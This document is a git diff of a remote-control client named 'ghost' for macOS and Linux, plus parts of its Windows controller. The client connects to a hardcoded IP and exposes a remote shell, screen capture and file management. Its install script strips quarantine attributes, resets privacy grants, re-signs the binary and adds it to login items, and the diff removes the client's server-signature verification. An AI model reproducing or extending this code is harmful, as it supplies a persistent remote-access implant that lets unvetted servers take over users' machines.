logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
|
||||
|
||||
// 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID)
|
||||
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
|
||||
|
||||
// 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段)
|
||||
ActivityChecker activityChecker;
|
||||
|
||||
@@ -962,8 +1038,6 @@ int main(int argc, char* argv[])
|
||||
continue;
|
||||
}
|
||||
|
||||
// 进入新连接,重置服务端身份校验状态
|
||||
ClientAuth::OnNewConnection();
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||
@@ -993,19 +1067,8 @@ int main(int argc, char* argv[])
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
|
||||
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
|
||||
if (ClientAuth::IsTimedOut()) {
|
||||
ClientObject->Disconnect(); // 关闭 socket,防止重连时 fd 泄漏
|
||||
break;
|
||||
}
|
||||
|
||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
|
||||
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
|
||||
// MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经
|
||||
// libsign 网关只能连新版服务端,无需再转。
|
||||
std::string activity = activityChecker.Check();
|
||||
std::string activity = utf8ToGbk(activityChecker.Check());
|
||||
|
||||
Heartbeat hb;
|
||||
hb.Time = GetUnixMs();
|
||||
@@ -1016,14 +1079,8 @@ int main(int argc, char* argv[])
|
||||
buf[0] = TOKEN_HEARTBEAT;
|
||||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||||
static time_t lastSendLog = 0;
|
||||
time_t now_s = time(nullptr);
|
||||
if (now_s - lastSendLog >= 60) {
|
||||
lastSendLog = now_s;
|
||||
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
|
||||
hb.Ping, interval, activity.c_str());
|
||||
}
|
||||
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
|
||||
hb.Ping, interval, activity.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -19,7 +19,6 @@ set(SOURCES
|
||||
main.mm
|
||||
../client/Buffer.cpp
|
||||
../client/IOCPClient.cpp
|
||||
../client/sign_shim_unix.cpp
|
||||
ScreenHandler.mm
|
||||
InputHandler.mm
|
||||
SystemManager.mm
|
||||
@@ -63,11 +62,6 @@ target_link_libraries(ghost PRIVATE
|
||||
${ACCELERATE_FRAMEWORK}
|
||||
${ICONV_LIBRARY}
|
||||
"${CMAKE_SOURCE_DIR}/lib/libzstd.a"
|
||||
# 私有签名库(提供 signMessage / verifyMessage,源码不开源)
|
||||
# 该库由 SimplePlugins 仓库本地构建后放置于 lib/,构建机需先准备好
|
||||
# libsign.a 内部使用 macOS CommonCrypto(HMAC-SHA256),CCHmac 在 libSystem
|
||||
# 中已被 Cocoa/CoreFoundation 等链接自动引入,故此处无需额外 framework
|
||||
"${CMAKE_SOURCE_DIR}/lib/libsign.a"
|
||||
)
|
||||
|
||||
# Compiler flags
|
||||
|
||||
BIN
macos/ghost
BIN
macos/ghost
Binary file not shown.
@@ -3,32 +3,18 @@
|
||||
# 用法: ./install.sh [ghost路径]
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
GHOST_SRC="${1:-$SCRIPT_DIR/build/bin/ghost}"
|
||||
APP_DIR="/Applications/GhostClient.app"
|
||||
APP_BIN="$APP_DIR/Contents/MacOS/ghost"
|
||||
|
||||
# 源 binary 优先级:
|
||||
# 1) 命令行参数显式指定
|
||||
# 2) 脚本同目录的 ghost(拷贝分发场景,不带源码/不重编)
|
||||
# 3) build/bin/ghost(标准构建产物)
|
||||
if [ -n "$1" ]; then
|
||||
GHOST_SRC="$1"
|
||||
elif [ -f "$SCRIPT_DIR/ghost" ]; then
|
||||
GHOST_SRC="$SCRIPT_DIR/ghost"
|
||||
else
|
||||
GHOST_SRC="$SCRIPT_DIR/build/bin/ghost"
|
||||
fi
|
||||
|
||||
echo "=== GhostClient 安装程序 ==="
|
||||
echo ""
|
||||
|
||||
# 检查源文件
|
||||
if [ ! -f "$GHOST_SRC" ]; then
|
||||
echo "错误: 找不到 ghost 二进制"
|
||||
echo " 尝试过: $SCRIPT_DIR/ghost"
|
||||
echo " 尝试过: $SCRIPT_DIR/build/bin/ghost"
|
||||
echo "错误: 找不到 $GHOST_SRC"
|
||||
echo ""
|
||||
echo "请先编译: ./build.sh"
|
||||
echo "或将 ghost 二进制放到脚本同目录"
|
||||
echo "或指定路径: $0 <ghost可执行文件路径>"
|
||||
exit 1
|
||||
fi
|
||||
@@ -39,17 +25,17 @@ echo ""
|
||||
set -e
|
||||
|
||||
# 1. 停止旧进程
|
||||
echo "[1/7] 停止旧进程..."
|
||||
echo "[1/6] 停止旧进程..."
|
||||
pkill -9 -f "$APP_BIN" 2>/dev/null || true
|
||||
|
||||
# 2. 重置系统权限(关键步骤!避免权限缓存导致空白桌面)
|
||||
echo "[2/7] 重置系统权限..."
|
||||
echo "[2/6] 重置系统权限..."
|
||||
echo " (这会清除屏幕录制和辅助功能的旧授权,需要重新授权)"
|
||||
tccutil reset ScreenCapture 2>/dev/null || true
|
||||
tccutil reset Accessibility 2>/dev/null || true
|
||||
|
||||
# 3. 创建应用程序包
|
||||
echo "[3/7] 创建应用程序..."
|
||||
echo "[3/6] 创建应用程序..."
|
||||
sudo rm -rf "$APP_DIR"
|
||||
sudo mkdir -p "$APP_DIR/Contents/MacOS"
|
||||
sudo mkdir -p "$APP_DIR/Contents/Resources"
|
||||
@@ -79,15 +65,11 @@ sudo tee "$APP_DIR/Contents/Info.plist" > /dev/null << 'EOF'
|
||||
EOF
|
||||
|
||||
# 4. 清除隔离属性
|
||||
echo "[4/7] 清除隔离属性..."
|
||||
echo "[4/6] 清除隔离属性..."
|
||||
sudo xattr -cr "$APP_DIR"
|
||||
|
||||
# 5. 签名应用(ad-hoc 重签)
|
||||
# 必须步骤:Apple Silicon 上未签 / 签名失效的 binary 会被 AMFI 直接 SIGKILL。
|
||||
# 常见破坏签名的场景:服务端 BuildDlg 在 Windows 端 patch 了 binary 里的服务器
|
||||
# 地址 → 那一页的 SHA-256 hash 跟原签名块对不上 → AMFI 拒绝运行。
|
||||
# --force 替换旧签名,--deep 覆盖 bundle 内所有可执行项,--sign - 是 ad-hoc。
|
||||
echo "[5/7] 签名应用 (ad-hoc, 修复 binary 修改后的签名失效)..."
|
||||
# 5. 签名应用
|
||||
echo "[5/6] 签名应用..."
|
||||
sudo codesign --force --deep --sign - "$APP_DIR"
|
||||
|
||||
# 6. 添加到登录项(开机自启)
|
||||
|
||||
Binary file not shown.
293
macos/main.mm
293
macos/main.mm
@@ -19,10 +19,6 @@
|
||||
#import "../client/IOCPClient.h"
|
||||
#define XXH_INLINE_ALL
|
||||
#include "../common/xxhash.h"
|
||||
#include "../common/rtt_estimator.h"
|
||||
#include "../common/client_auth_state.h"
|
||||
#include "../common/posix_net_helpers.h"
|
||||
#include "../common/sub_conn_thread.h"
|
||||
#import "Permissions.h"
|
||||
#import "ScreenHandler.h"
|
||||
#import "InputHandler.h"
|
||||
@@ -40,8 +36,6 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
|
||||
// Client ID (calculated from system info, used by ScreenHandler)
|
||||
uint64_t g_myClientID = 0;
|
||||
|
||||
// 服务端身份校验全局状态已抽到 common/client_auth_state.h(namespace ClientAuth)
|
||||
|
||||
// 远程地址:当前为写死状态,如需调试,请按实际情况修改
|
||||
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
|
||||
|
||||
@@ -220,54 +214,6 @@ static std::string getUsername()
|
||||
return user ? std::string(user) : "unknown";
|
||||
}
|
||||
|
||||
// 读取 IOKit 维护的 IOPlatformUUID(与 Windows MachineGuid 等价)
|
||||
// 这是主板/系统级 UUID,由 IOPlatformExpertDevice 服务提供,重装系统通常不变。
|
||||
// 对应:Windows HKLM\Software\Microsoft\Cryptography\MachineGuid
|
||||
// Linux /etc/machine-id
|
||||
static std::string getMachineId()
|
||||
{
|
||||
std::string result;
|
||||
io_service_t platformExpert = IOServiceGetMatchingService(
|
||||
kIOMasterPortDefault,
|
||||
IOServiceMatching("IOPlatformExpertDevice"));
|
||||
if (platformExpert != IO_OBJECT_NULL) {
|
||||
CFTypeRef uuidProperty = IORegistryEntryCreateCFProperty(
|
||||
platformExpert, CFSTR(kIOPlatformUUIDKey),
|
||||
kCFAllocatorDefault, 0);
|
||||
if (uuidProperty != nullptr) {
|
||||
if (CFGetTypeID(uuidProperty) == CFStringGetTypeID()) {
|
||||
CFStringRef uuidStr = (CFStringRef)uuidProperty;
|
||||
char buf[64] = {};
|
||||
if (CFStringGetCString(uuidStr, buf, sizeof(buf), kCFStringEncodingUTF8)) {
|
||||
result = buf;
|
||||
}
|
||||
}
|
||||
CFRelease(uuidProperty);
|
||||
}
|
||||
IOObjectRelease(platformExpert);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
// 路径归一化(macOS 版):解析符号链接 + 转小写
|
||||
// realpath 把 /Applications/foo/../bar 之类折回规范形式;
|
||||
// 小写化保持与 Windows/Linux 跨端一致。macOS HFS+/APFS 默认大小写不敏感,
|
||||
// 转小写不改变文件标识、但避免路径串大小写差异引起 ID 不同。
|
||||
static std::string normalizeExePathLower(const std::string& path)
|
||||
{
|
||||
char resolved[PATH_MAX] = {};
|
||||
std::string out;
|
||||
if (realpath(path.c_str(), resolved) != nullptr) {
|
||||
out = resolved;
|
||||
} else {
|
||||
out = path; // 解析失败:用原值
|
||||
}
|
||||
for (auto& c : out) {
|
||||
if (c >= 'A' && c <= 'Z') c = c - 'A' + 'a';
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
// Get screen resolution
|
||||
static std::string getScreenResolution()
|
||||
{
|
||||
@@ -444,12 +390,49 @@ static bool hasCameraDevice()
|
||||
// ============== Public IP ==============
|
||||
|
||||
// Execute command and return output
|
||||
// execCmd / httpGet / getPublicIP 已抽到 common/posix_net_helpers.h(namespace PosixNet)。
|
||||
// 这里保留同名 wrapper 避免改动调用点。Linux 端额外的 jsonExtract / getGeoLocation
|
||||
// macOS 暂未使用,需要时直接用 PosixNet:: 命名空间访问。
|
||||
static inline std::string execCmd(const std::string& cmd) { return PosixNet::execCmd(cmd); }
|
||||
static inline std::string httpGet(const std::string& url, int timeoutSec = 5) { return PosixNet::httpGet(url, timeoutSec); }
|
||||
static inline std::string getPublicIP() { return PosixNet::getPublicIP(); }
|
||||
static std::string execCmd(const std::string& cmd)
|
||||
{
|
||||
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
|
||||
if (!pipe) return "";
|
||||
char buf[4096];
|
||||
std::string result;
|
||||
while (fgets(buf, sizeof(buf), pipe.get())) {
|
||||
result += buf;
|
||||
}
|
||||
// Trim trailing whitespace
|
||||
while (!result.empty() && (result.back() == '\n' || result.back() == '\r' || result.back() == ' '))
|
||||
result.pop_back();
|
||||
return result;
|
||||
}
|
||||
|
||||
// HTTP GET using curl (macOS has curl built-in)
|
||||
static std::string httpGet(const std::string& url, int timeoutSec = 5)
|
||||
{
|
||||
std::string t = std::to_string(timeoutSec);
|
||||
return execCmd("curl -s --max-time " + t + " \"" + url + "\" 2>/dev/null");
|
||||
}
|
||||
|
||||
// Get public IP (try multiple sources)
|
||||
static std::string getPublicIP()
|
||||
{
|
||||
static const char* urls[] = {
|
||||
"https://checkip.amazonaws.com",
|
||||
"https://api.ipify.org",
|
||||
"https://ipinfo.io/ip",
|
||||
"https://icanhazip.com",
|
||||
"https://ifconfig.me/ip",
|
||||
};
|
||||
for (auto& url : urls) {
|
||||
std::string ip = httpGet(url, 3);
|
||||
// Validate: non-empty, contains dot, reasonable length
|
||||
if (!ip.empty() && ip.find('.') != std::string::npos && ip.size() <= 45) {
|
||||
NSLog(@"getPublicIP: %s (from %s)", ip.c_str(), url);
|
||||
return ip;
|
||||
}
|
||||
}
|
||||
NSLog(@"getPublicIP: all sources failed");
|
||||
return "";
|
||||
}
|
||||
|
||||
// ============== Install Time (persistent storage) ==============
|
||||
|
||||
@@ -569,35 +552,18 @@ static void fillLoginInfo(LOGIN_INFOR& info)
|
||||
std::string resolution = getScreenResolution();
|
||||
info.AddReserved(resolution.c_str());
|
||||
|
||||
// 17. Client ID
|
||||
// V2 算法:IOPlatformUUID + 归一化路径
|
||||
// - 同机同程序路径永远同 ID(不依赖 IP/hostname/os/CPU 漂移)
|
||||
// - IOPlatformUUID 主板级,重装系统通常不变;多机各不相同
|
||||
// - 读取失败时退化到老算法(pubIP|hostname|os|cpu|path)保兼容
|
||||
std::string machineId = getMachineId();
|
||||
if (!machineId.empty()) {
|
||||
std::string normPath = normalizeExePathLower(exePath);
|
||||
std::string idInput = machineId + "|" + normPath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
NSLog(@"ClientID(v2): %llu (machineId=%s, path=%s)",
|
||||
g_myClientID, machineId.c_str(), normPath.c_str());
|
||||
} else {
|
||||
// 老算法兜底
|
||||
char cpuStr[32];
|
||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||
hostname + "|" +
|
||||
osVer + "|" +
|
||||
cpuStr + "|" +
|
||||
exePath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
NSLog(@"ClientID(v1 fallback): %llu (IOPlatformUUID 读取失败)", g_myClientID);
|
||||
}
|
||||
// 17. Client ID (calculated from system info, same algorithm as server)
|
||||
// Format: pubIP|hostname|os|cpu|path
|
||||
char cpuStr[32];
|
||||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", info.dwCPUMHz);
|
||||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||||
hostname + "|" +
|
||||
osVer + "|" +
|
||||
cpuStr + "|" +
|
||||
exePath;
|
||||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||||
info.AddReserved(std::to_string(g_myClientID).c_str());
|
||||
|
||||
// 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID)
|
||||
ClientAuth::g_loginMsg = std::string(info.szStartTime) + "|" + std::to_string(g_myClientID);
|
||||
|
||||
NSLog(@"LOGIN_INFOR filled: OS=%s, Host=%s, CPU=%dMHz, PubIP=%s, ClientID=%llu",
|
||||
osVer.c_str(), hostname.c_str(), info.dwCPUMHz, pubIP.c_str(), g_myClientID);
|
||||
}
|
||||
@@ -642,51 +608,114 @@ static void daemonize()
|
||||
}
|
||||
|
||||
// ============== Main Entry Point ==============
|
||||
// RttEstimator + g_rttEstimator + g_heartbeatInterval 已抽到 common/rtt_estimator.h
|
||||
|
||||
void* ShellworkingThread(void* /*param*/)
|
||||
// RTT 估算器(参考 RFC 6298 算法,与 Windows 端 KernelManager 一致)
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // 平滑 RTT (秒)
|
||||
double rttvar = 0.0; // RTT 波动 (秒)
|
||||
double rto = 0.0; // 超时时间 (秒)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms)
|
||||
{
|
||||
// 过滤异常值:RTT应在合理范围内 (0, 30000] 毫秒
|
||||
if (rtt_ms <= 0 || rtt_ms > 30000)
|
||||
return;
|
||||
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
} else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// 限制最小 RTO(RFC 6298 推荐 1 秒)
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
RttEstimator g_rttEstimator;
|
||||
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
|
||||
|
||||
void* ShellworkingThread(void* param)
|
||||
{
|
||||
RunSubConnThread<PTYHandler>(
|
||||
"ShellworkingThread",
|
||||
[](IOCPClient* c) { return std::unique_ptr<PTYHandler>(new PTYHandler(c)); },
|
||||
[](IOCPClient* c, PTYHandler*) {
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
BYTE bToken = TOKEN_TERMINAL_START;
|
||||
c->Send2Server((char*)&bToken, 1);
|
||||
Mprintf(">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START\n", c);
|
||||
});
|
||||
ClientObject->Send2Server((char*)&bToken, 1);
|
||||
NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
NSLog(@"*** ShellworkingThread exception: %s ***", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* ScreenworkingThread(void* /*param*/)
|
||||
void* ScreenworkingThread(void* param)
|
||||
{
|
||||
RunSubConnThread<ScreenHandler>(
|
||||
"ScreenworkingThread",
|
||||
[](IOCPClient* c) -> std::unique_ptr<ScreenHandler> {
|
||||
// macOS ScreenHandler 需要先 init() 申请录屏权限/抓屏 stream,失败 → 返 nullptr
|
||||
// 让骨架直接 leave,跳过 callback 安装
|
||||
auto h = std::unique_ptr<ScreenHandler>(new ScreenHandler(c));
|
||||
if (!h->init()) {
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<ScreenHandler> handler(new ScreenHandler(ClientObject.get()));
|
||||
if (!handler->init()) {
|
||||
Mprintf("*** ScreenHandler initialization failed (no permission?) ***\n");
|
||||
return nullptr;
|
||||
return NULL;
|
||||
}
|
||||
return h;
|
||||
},
|
||||
[](IOCPClient* c, ScreenHandler* h) {
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
// 连接后立即发送完整的 BITMAPINFO 包(与 Windows 端 ScreenManager 流程一致)
|
||||
h->sendBitmapInfo();
|
||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", c);
|
||||
});
|
||||
handler->sendBitmapInfo();
|
||||
Mprintf(">>> ScreenworkingThread [%p] Send: TOKEN_BITMAPINFO\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
Mprintf(">>> Leave ScreenworkingThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** ScreenworkingThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void* FileManagerworkingThread(void* /*param*/)
|
||||
void* FileManagerworkingThread(void* param)
|
||||
{
|
||||
RunSubConnThread<FileManager>(
|
||||
"FileManagerworkingThread",
|
||||
[](IOCPClient* c) { return std::unique_ptr<FileManager>(new FileManager(c)); },
|
||||
[](IOCPClient* c, FileManager*) {
|
||||
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", c);
|
||||
});
|
||||
try {
|
||||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
|
||||
void* clientAddr = ClientObject.get();
|
||||
Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr);
|
||||
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
std::unique_ptr<FileManager> handler(new FileManager(ClientObject.get()));
|
||||
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
|
||||
Mprintf(">>> FileManagerworkingThread [%p] initialized\n", clientAddr);
|
||||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
|
||||
Sleep(1000);
|
||||
// 清除回调,防止重连线程访问已销毁的 handler
|
||||
ClientObject->setManagerCallBack(nullptr, nullptr, nullptr);
|
||||
}
|
||||
Mprintf(">>> Leave FileManagerworkingThread [%p]\n", clientAddr);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("*** FileManagerworkingThread exception: %s ***\n", e.what());
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@@ -695,12 +724,6 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
if (szBuffer == nullptr || ulLength == 0)
|
||||
return TRUE;
|
||||
|
||||
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING(校验本身)。详见
|
||||
// common/client_auth_state.h ClientAuth::IsCommandAllowed 的注释。
|
||||
if (!ClientAuth::IsCommandAllowed(szBuffer[0])) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (szBuffer[0] == COMMAND_BYE) {
|
||||
Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
|
||||
g_bExit = S_CLIENT_EXIT;
|
||||
@@ -757,13 +780,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
}
|
||||
} else if (szBuffer[0] == CMD_MASTERSETTING) {
|
||||
MasterSettings settings;
|
||||
if (!ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
|
||||
return TRUE; // 包不全或签名失败:让 30s 超时兜底重连
|
||||
int settingSize = ulLength - 1;
|
||||
if (settingSize >= (int)sizeof(int)) { // 至少包含 ReportInterval
|
||||
MasterSettings settings = {};
|
||||
memcpy(&settings, szBuffer + 1, settingSize < (int)sizeof(MasterSettings) ? settingSize : sizeof(MasterSettings));
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
}
|
||||
if (settings.ReportInterval > 0)
|
||||
g_heartbeatInterval = settings.ReportInterval;
|
||||
Mprintf("** [%p] MasterSettings: ReportInterval=%ds ***\n", user, g_heartbeatInterval);
|
||||
} else if (szBuffer[0] == COMMAND_NEXT) {
|
||||
Mprintf("** [%p] Received 'NEXT' command ***\n", user);
|
||||
} else if (szBuffer[0] == CMD_SET_GROUP) {
|
||||
@@ -889,8 +913,6 @@ int main(int argc, const char* argv[])
|
||||
continue;
|
||||
}
|
||||
|
||||
// 进入新连接,重置服务端身份校验状态
|
||||
ClientAuth::OnNewConnection();
|
||||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||||
|
||||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||||
@@ -912,13 +934,6 @@ int main(int argc, const char* argv[])
|
||||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||||
break;
|
||||
|
||||
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
|
||||
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
|
||||
if (ClientAuth::IsTimedOut()) {
|
||||
ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||||
std::string activity = getActiveApp();
|
||||
|
||||
|
||||
@@ -7,11 +7,11 @@ echo "=== GhostClient 卸载程序 ==="
|
||||
echo ""
|
||||
|
||||
# 1. 停止进程
|
||||
echo "[1/4] 停止进程..."
|
||||
echo "[1/3] 停止进程..."
|
||||
pkill -9 -f "$APP_DIR" 2>/dev/null || true
|
||||
|
||||
# 2. 删除文件
|
||||
echo "[2/4] 删除文件..."
|
||||
echo "[2/3] 删除文件..."
|
||||
sudo rm -rf "$APP_DIR"
|
||||
rm -rf ~/.config/ghost 2>/dev/null || true
|
||||
rm -f /tmp/ghost.log 2>/dev/null || true
|
||||
|
||||
Binary file not shown.
@@ -71,7 +71,6 @@
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "PluginSettingsDlg.h"
|
||||
#include "TriggerSettingsDlg.h"
|
||||
#include "PreviewTipWnd.h"
|
||||
#include "common/key.h"
|
||||
#include "UIBranding.h"
|
||||
|
||||
@@ -87,7 +86,6 @@
|
||||
#define TIMER_REFRESH_LIST 5
|
||||
#define TIMER_STATUSBAR_UPDATE 6
|
||||
#define TIMER_STATUSBAR_INIT 7
|
||||
#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
|
||||
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
||||
#define TINY_DLL_NAME "TinyRun.dll"
|
||||
#define FRPC_DLL_NAME "Frpc.dll"
|
||||
@@ -177,30 +175,6 @@ bool SupportsFileTransferV2(context* ctx) {
|
||||
return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
|
||||
}
|
||||
|
||||
// 获取客户端协议字符串编码:优先看自身能力位,若是子连接(CAPABILITIES 为空)
|
||||
// 则通过 peer IP 查主连接。Linux/macOS 客户端文件系统路径与 locale 现代发行版
|
||||
// 默认就是 UTF-8——即便客户端二进制是早于 CLIENT_CAP_UTF8 引入(commit 0aa7588)
|
||||
// 之前编译的,没声明 cap 位,事实上仍发 UTF-8 字节,按 client type 兜底走 UTF-8。
|
||||
// 找不到则默认 CP936。
|
||||
UINT GetClientEncoding(context* ctx) {
|
||||
if (!ctx) return 936;
|
||||
// 主连接情形:CAPABILITIES 已由 LOGIN_INFOR 处理流程填好
|
||||
if (ctx->SupportsUtf8()) return CP_UTF8;
|
||||
// 客户端类型兜底:LNX / MAC 默认 UTF-8(兼容老二进制无 UTF-8 cap 位的情形)
|
||||
CString clientType = ctx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
if (clientType == "LNX" || clientType == "MAC") return CP_UTF8;
|
||||
// 子连接情形:CAPABILITIES 为空 -> 通过 IP 找主连接
|
||||
if (g_2015RemoteDlg) {
|
||||
context* mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName());
|
||||
if (mainCtx) {
|
||||
if (mainCtx->SupportsUtf8()) return CP_UTF8;
|
||||
CString mainType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
if (mainType == "LNX" || mainType == "MAC") return CP_UTF8;
|
||||
}
|
||||
}
|
||||
return 936;
|
||||
}
|
||||
|
||||
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
|
||||
static bool ShouldLogAuth(const std::string& sn, int success) {
|
||||
struct AuthLogState {
|
||||
@@ -748,14 +722,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_WM_CLOSE()
|
||||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
||||
ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
|
||||
// 启用 LVM_SETUNICODEFORMAT 后,列表实际发送的是 LVN_GETDISPINFOW(即便工程是 MBCS)。
|
||||
// MBCS 工程里 LVN_GETDISPINFO == LVN_GETDISPINFOA,两者码值不同,需各自映射。
|
||||
ON_NOTIFY(LVN_GETDISPINFOW, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfoW)
|
||||
// m_CList_Online 启用 LVM_SETUNICODEFORMAT(TRUE) 后,列头会发 HDN_ITEMCLICKW;
|
||||
